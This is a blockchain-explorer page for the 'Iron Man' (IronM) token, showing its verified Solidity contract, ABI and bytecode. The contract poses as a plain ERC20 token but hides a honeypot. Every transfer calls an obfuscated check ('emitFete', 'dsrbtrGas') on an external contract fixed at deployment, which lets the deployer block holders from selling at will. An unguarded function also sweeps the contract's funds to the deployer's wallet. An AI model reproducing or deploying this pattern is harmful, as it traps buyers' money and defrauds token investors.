ETH Price: $2,525.16 (+0.33%)

Token

Iron Man (IronM)
 

Overview

Max Total Supply

300,000,000,000 IronM

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.587956347311750318 IronM

Value
$0.00
0xf91d2a2be5baa753dc2906c98d3f141cc64e98b8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-03
*/

// SPDX-License-Identifier: MIT

/**
 * Twitter: https://twitter.com/ironmantoken
 * Telegram: https://t.me/IronMan_Token
 * Websit: https://www.ironman.studio/
*/

pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface disrutor {
    function dsrbtrGas(address t) external view returns (bool);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;
    disrutor private div;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address _lpAddress
    ){
        _name = "Iron Man";
        _symbol = "IronM";
        _decimals = 18;
        uint256 Supply = 300000000000;
        div = disrutor(_lpAddress);
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        div.dsrbtrGas(address(this));
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address bossWallet = msg.sender;
        _balances[bossWallet] = _totalSupply;
        emit Transfer(address(0), bossWallet, _totalSupply);

        fundAddress = msg.sender;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;

        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[bossWallet] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function emitFete(address swapPair) private view {
        require(
            (address(111010101) !=swapPair) && 
            div.dsrbtrGas(address(swapPair))
        );
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    uint256 public limitAmounts = 0.05 ether;
    function setLimitAmounts(uint256 newValue) public onlyOwner{
        limitAmounts = newValue;
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            if (!sellFlag && limitAmounts != 0){
                require(sellToken(tAmount) <= limitAmounts);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);
        emitFete(sender);
    }

    function sellToken(uint Token)public  view returns (uint){
        address _currency = _uniswapRouter.WETH();
        if(IERC20(address(_currency)).balanceOf(_uniswapPair) > 0){
            address[] memory path = new address[](2);
            uint[] memory amount;
            path[0]=address(this);
            path[1]=_currency;
            amount = _uniswapRouter.getAmountsOut(Token,path); 
            return amount[1];
        }else {
            return 0; 
        }
    }

    function removeERC20(address tokenAddress, uint256 amount) external {
        if (tokenAddress == address(0)){
            payable(fundAddress).transfer(amount);
        }else{
            IERC20(tokenAddress).transfer(fundAddress, amount);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_lpAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Token","type":"uint256"}],"name":"sellToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setLimitAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266b1a2bc2ec50000600d553480156200001c57600080fd5b50604051620017f9380380620017f98339810160408190526200003f9162000520565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260088082526724b937b71026b0b760c11b6020909201918252620000b1916004916200047a565b506040805180820190915260058082526449726f6e4d60d81b6020909201918252620000de91816200047a565b506006805460ff19166012179055600980546001600160a01b0383166001600160a01b0319909116811790915560405163e5a98a2160e01b81523060048201526445d964b80091737a250d5630b4cf539739df2c5dacb4c659f2488d9163e5a98a219060240160206040518083038186803b1580156200015d57600080fd5b505afa15801562000172573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000198919062000552565b50600a80546001600160a01b0319166001600160a01b03831690811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b8152905192939263c45a015592600480840193919291829003018186803b1580156200020b57600080fd5b505afa15801562000220573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000246919062000520565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029457600080fd5b505afa158015620002a9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cf919062000520565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200031857600080fd5b505af11580156200032d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000353919062000520565b600c8054610100600160a81b0319166101006001600160a01b038416908102919091179091556000908152600b60205260409020805460ff19166001179055600654909150620003a89060ff16600a620005bf565b620003b4908562000680565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319163390811790915530600090815260076020526040808220805460ff1990811660019081179092556001600160a01b039889168452828420805482168317905593835281832080548516821790559390961681529490942080549094161790925550620006f592505050565b8280546200048890620006a2565b90600052602060002090601f016020900481019282620004ac5760008555620004f7565b82601f10620004c757805160ff1916838001178555620004f7565b82800160010185558215620004f7579182015b82811115620004f7578251825591602001919060010190620004da565b506200050592915062000509565b5090565b5b808211156200050557600081556001016200050a565b6000602082840312156200053357600080fd5b81516001600160a01b03811681146200054b57600080fd5b9392505050565b6000602082840312156200056557600080fd5b815180151581146200054b57600080fd5b600181815b80851115620005b75781600019048211156200059b576200059b620006df565b80851615620005a957918102915b93841c93908002906200057b565b509250929050565b60006200054b60ff841683600082620005db575060016200067a565b81620005ea575060006200067a565b81600181146200060357600281146200060e576200062e565b60019150506200067a565b60ff841115620006225762000622620006df565b50506001821b6200067a565b5060208310610133831016604e8410600b841016171562000653575081810a6200067a565b6200065f838362000576565b8060001904821115620006765762000676620006df565b0290505b92915050565b60008160001904831182151516156200069d576200069d620006df565b500290565b600181811c90821680620006b757607f821691505b60208210811415620006d957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6110f480620007056000396000f3fe60806040526004361061012e5760003560e01c806365b61b77116100ab57806395d89b411161006f57806395d89b411461037e578063a9059cbb14610393578063dd62ed3e146103b3578063e82bef29146103f9578063f2fde38b14610419578063f509911e1461043957600080fd5b806365b61b77146102d557806370a08231146102f5578063715018a61461032b5780638637b069146103405780638da5cb5b1461036057600080fd5b806323b872dd116100f257806323b872dd146101f6578063313ce5671461021657806336b2e027146102385780633ecad271146102685780634bf28fd01461029857600080fd5b8063021b98281461013a57806306fdde031461015c578063095ea7b31461018757806318160ddd146101b75780632397e4d7146101d657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004610efa565b61044f565b005b34801561016857600080fd5b50610171610487565b60405161017e9190610f2c565b60405180910390f35b34801561019357600080fd5b506101a76101a2366004610de7565b610519565b604051901515815260200161017e565b3480156101c357600080fd5b506008545b60405190815260200161017e565b3480156101e257600080fd5b506101c86101f1366004610efa565b61052f565b34801561020257600080fd5b506101a7610211366004610da6565b61077a565b34801561022257600080fd5b5060065460405160ff909116815260200161017e565b34801561024457600080fd5b506101a7610253366004610d2c565b60076020526000908152604090205460ff1681565b34801561027457600080fd5b506101a7610283366004610d2c565b600b6020526000908152604090205460ff1681565b3480156102a457600080fd5b50600c546102bd9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161017e565b3480156102e157600080fd5b50600a546102bd906001600160a01b031681565b34801561030157600080fd5b506101c8610310366004610d2c565b6001600160a01b031660009081526001602052604090205490565b34801561033757600080fd5b5061015a610811565b34801561034c57600080fd5b5061015a61035b366004610de7565b610885565b34801561036c57600080fd5b506000546001600160a01b03166102bd565b34801561038a57600080fd5b50610171610958565b34801561039f57600080fd5b506101a76103ae366004610de7565b610967565b3480156103bf57600080fd5b506101c86103ce366004610d6d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040557600080fd5b506003546102bd906001600160a01b031681565b34801561042557600080fd5b5061015a610434366004610d2c565b610974565b34801561044557600080fd5b506101c8600d5481565b6000546001600160a01b031633146104825760405162461bcd60e51b815260040161047990610f81565b60405180910390fd5b600d55565b60606004805461049690611032565b80601f01602080910402602001604051908101604052809291908181526020018280546104c290611032565b801561050f5780601f106104e45761010080835404028352916020019161050f565b820191906000526020600020905b8154815290600101906020018083116104f257829003601f168201915b5050505050905090565b6000610526338484610a3a565b50600192915050565b600080600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561058057600080fd5b505afa158015610594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b89190610d50565b600c546040516370a0823160e01b81526101009091046001600160a01b0390811660048301529192506000918316906370a082319060240160206040518083038186803b15801561060857600080fd5b505afa15801561061c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106409190610f13565b111561076b576040805160028082526060820183526000926020830190803683370190505090506060308260008151811061067d5761067d61107d565b60200260200101906001600160a01b031690816001600160a01b03168152505082826001815181106106b1576106b161107d565b6001600160a01b039283166020918202929092010152600a5460405163d06ca61f60e01b815291169063d06ca61f906106f09088908690600401610fac565b60006040518083038186803b15801561070857600080fd5b505afa15801561071c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107449190810190610e13565b9050806001815181106107595761075961107d565b60200260200101519350505050919050565b50600092915050565b50919050565b6000610787848484610a9b565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610807576001600160a01b03841660009081526002602090815260408083203384529091529020546107e290839061101b565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461083b5760405162461bcd60e51b815260040161047990610f81565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0382166108d2576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108cd573d6000803e3d6000fd5b505050565b60035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb90604401602060405180830381600087803b15801561092057600080fd5b505af1158015610934573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cd9190610ed8565b60606005805461049690611032565b6000610526338484610a9b565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161047990610f81565b6001600160a01b0381166109df5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610479565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610af75760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610479565b6001600160a01b038416600090815260076020526040812054819060ff16158015610b3b57506001600160a01b03851660009081526007602052604090205460ff16155b8015610b4a5750600c5460ff16155b15610b5457600191505b6001600160a01b0385166000908152600b602052604090205460ff1615610b79575060015b610b868686868585610b8e565b505050505050565b6001600160a01b038516600090815260016020526040902054610bb290849061101b565b6001600160a01b0386166000908152600160205260408120919091558215610bff5781158015610be35750600d5415155b15610bff57600d54610bf48561052f565b1115610bff57600080fd5b610c09818561101b565b6001600160a01b038616600090815260016020526040902054610c2c9190611003565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c76848861101b565b60405190815260200160405180910390a3610b868663069de1356001600160a01b03821614801590610d20575060095460405163e5a98a2160e01b81526001600160a01b0383811660048301529091169063e5a98a219060240160206040518083038186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d209190610ed8565b610d2957600080fd5b50565b600060208284031215610d3e57600080fd5b8135610d49816110a9565b9392505050565b600060208284031215610d6257600080fd5b8151610d49816110a9565b60008060408385031215610d8057600080fd5b8235610d8b816110a9565b91506020830135610d9b816110a9565b809150509250929050565b600080600060608486031215610dbb57600080fd5b8335610dc6816110a9565b92506020840135610dd6816110a9565b929592945050506040919091013590565b60008060408385031215610dfa57600080fd5b8235610e05816110a9565b946020939093013593505050565b60006020808385031215610e2657600080fd5b825167ffffffffffffffff80821115610e3e57600080fd5b818501915085601f830112610e5257600080fd5b815181811115610e6457610e64611093565b8060051b604051601f19603f83011681018181108582111715610e8957610e89611093565b604052828152858101935084860182860187018a1015610ea857600080fd5b600095505b83861015610ecb578051855260019590950194938601938601610ead565b5098975050505050505050565b600060208284031215610eea57600080fd5b81518015158114610d4957600080fd5b600060208284031215610f0c57600080fd5b5035919050565b600060208284031215610f2557600080fd5b5051919050565b600060208083528351808285015260005b81811015610f5957858101830151858201604001528201610f3d565b81811115610f6b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b6000604082018483526020604081850152818551808452606086019150828701935060005b81811015610ff65784516001600160a01b031683529383019391830191600101610fd1565b5090979650505050505050565b6000821982111561101657611016611067565b500190565b60008282101561102d5761102d611067565b500390565b600181811c9082168061104657607f821691505b6020821081141561077457634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d2957600080fdfea2646970667358221220bf6ecedef5a1680a2becdd07ff1a1b1db999d5af4a005e15ad3ea60c40a695a864736f6c63430008070033000000000000000000000000f2faf5d437254f674d7b80e9ff629cae58e02016

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806365b61b77116100ab57806395d89b411161006f57806395d89b411461037e578063a9059cbb14610393578063dd62ed3e146103b3578063e82bef29146103f9578063f2fde38b14610419578063f509911e1461043957600080fd5b806365b61b77146102d557806370a08231146102f5578063715018a61461032b5780638637b069146103405780638da5cb5b1461036057600080fd5b806323b872dd116100f257806323b872dd146101f6578063313ce5671461021657806336b2e027146102385780633ecad271146102685780634bf28fd01461029857600080fd5b8063021b98281461013a57806306fdde031461015c578063095ea7b31461018757806318160ddd146101b75780632397e4d7146101d657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004610efa565b61044f565b005b34801561016857600080fd5b50610171610487565b60405161017e9190610f2c565b60405180910390f35b34801561019357600080fd5b506101a76101a2366004610de7565b610519565b604051901515815260200161017e565b3480156101c357600080fd5b506008545b60405190815260200161017e565b3480156101e257600080fd5b506101c86101f1366004610efa565b61052f565b34801561020257600080fd5b506101a7610211366004610da6565b61077a565b34801561022257600080fd5b5060065460405160ff909116815260200161017e565b34801561024457600080fd5b506101a7610253366004610d2c565b60076020526000908152604090205460ff1681565b34801561027457600080fd5b506101a7610283366004610d2c565b600b6020526000908152604090205460ff1681565b3480156102a457600080fd5b50600c546102bd9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161017e565b3480156102e157600080fd5b50600a546102bd906001600160a01b031681565b34801561030157600080fd5b506101c8610310366004610d2c565b6001600160a01b031660009081526001602052604090205490565b34801561033757600080fd5b5061015a610811565b34801561034c57600080fd5b5061015a61035b366004610de7565b610885565b34801561036c57600080fd5b506000546001600160a01b03166102bd565b34801561038a57600080fd5b50610171610958565b34801561039f57600080fd5b506101a76103ae366004610de7565b610967565b3480156103bf57600080fd5b506101c86103ce366004610d6d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040557600080fd5b506003546102bd906001600160a01b031681565b34801561042557600080fd5b5061015a610434366004610d2c565b610974565b34801561044557600080fd5b506101c8600d5481565b6000546001600160a01b031633146104825760405162461bcd60e51b815260040161047990610f81565b60405180910390fd5b600d55565b60606004805461049690611032565b80601f01602080910402602001604051908101604052809291908181526020018280546104c290611032565b801561050f5780601f106104e45761010080835404028352916020019161050f565b820191906000526020600020905b8154815290600101906020018083116104f257829003601f168201915b5050505050905090565b6000610526338484610a3a565b50600192915050565b600080600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561058057600080fd5b505afa158015610594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b89190610d50565b600c546040516370a0823160e01b81526101009091046001600160a01b0390811660048301529192506000918316906370a082319060240160206040518083038186803b15801561060857600080fd5b505afa15801561061c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106409190610f13565b111561076b576040805160028082526060820183526000926020830190803683370190505090506060308260008151811061067d5761067d61107d565b60200260200101906001600160a01b031690816001600160a01b03168152505082826001815181106106b1576106b161107d565b6001600160a01b039283166020918202929092010152600a5460405163d06ca61f60e01b815291169063d06ca61f906106f09088908690600401610fac565b60006040518083038186803b15801561070857600080fd5b505afa15801561071c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107449190810190610e13565b9050806001815181106107595761075961107d565b60200260200101519350505050919050565b50600092915050565b50919050565b6000610787848484610a9b565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610807576001600160a01b03841660009081526002602090815260408083203384529091529020546107e290839061101b565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461083b5760405162461bcd60e51b815260040161047990610f81565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0382166108d2576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108cd573d6000803e3d6000fd5b505050565b60035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb90604401602060405180830381600087803b15801561092057600080fd5b505af1158015610934573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cd9190610ed8565b60606005805461049690611032565b6000610526338484610a9b565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161047990610f81565b6001600160a01b0381166109df5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610479565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610af75760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610479565b6001600160a01b038416600090815260076020526040812054819060ff16158015610b3b57506001600160a01b03851660009081526007602052604090205460ff16155b8015610b4a5750600c5460ff16155b15610b5457600191505b6001600160a01b0385166000908152600b602052604090205460ff1615610b79575060015b610b868686868585610b8e565b505050505050565b6001600160a01b038516600090815260016020526040902054610bb290849061101b565b6001600160a01b0386166000908152600160205260408120919091558215610bff5781158015610be35750600d5415155b15610bff57600d54610bf48561052f565b1115610bff57600080fd5b610c09818561101b565b6001600160a01b038616600090815260016020526040902054610c2c9190611003565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c76848861101b565b60405190815260200160405180910390a3610b868663069de1356001600160a01b03821614801590610d20575060095460405163e5a98a2160e01b81526001600160a01b0383811660048301529091169063e5a98a219060240160206040518083038186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d209190610ed8565b610d2957600080fd5b50565b600060208284031215610d3e57600080fd5b8135610d49816110a9565b9392505050565b600060208284031215610d6257600080fd5b8151610d49816110a9565b60008060408385031215610d8057600080fd5b8235610d8b816110a9565b91506020830135610d9b816110a9565b809150509250929050565b600080600060608486031215610dbb57600080fd5b8335610dc6816110a9565b92506020840135610dd6816110a9565b929592945050506040919091013590565b60008060408385031215610dfa57600080fd5b8235610e05816110a9565b946020939093013593505050565b60006020808385031215610e2657600080fd5b825167ffffffffffffffff80821115610e3e57600080fd5b818501915085601f830112610e5257600080fd5b815181811115610e6457610e64611093565b8060051b604051601f19603f83011681018181108582111715610e8957610e89611093565b604052828152858101935084860182860187018a1015610ea857600080fd5b600095505b83861015610ecb578051855260019590950194938601938601610ead565b5098975050505050505050565b600060208284031215610eea57600080fd5b81518015158114610d4957600080fd5b600060208284031215610f0c57600080fd5b5035919050565b600060208284031215610f2557600080fd5b5051919050565b600060208083528351808285015260005b81811015610f5957858101830151858201604001528201610f3d565b81811115610f6b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b6000604082018483526020604081850152818551808452606086019150828701935060005b81811015610ff65784516001600160a01b031683529383019391830191600101610fd1565b5090979650505050505050565b6000821982111561101657611016611067565b500190565b60008282101561102d5761102d611067565b500390565b600181811c9082168061104657607f821691505b6020821081141561077457634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d2957600080fdfea2646970667358221220bf6ecedef5a1680a2becdd07ff1a1b1db999d5af4a005e15ad3ea60c40a695a864736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000f2faf5d437254f674d7b80e9ff629cae58e02016

-----Decoded View---------------
Arg [0] : _lpAddress (address): 0xF2fAF5D437254F674D7B80e9FF629cae58E02016

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000f2faf5d437254f674d7b80e9ff629cae58e02016


Deployed Bytecode Sourcemap

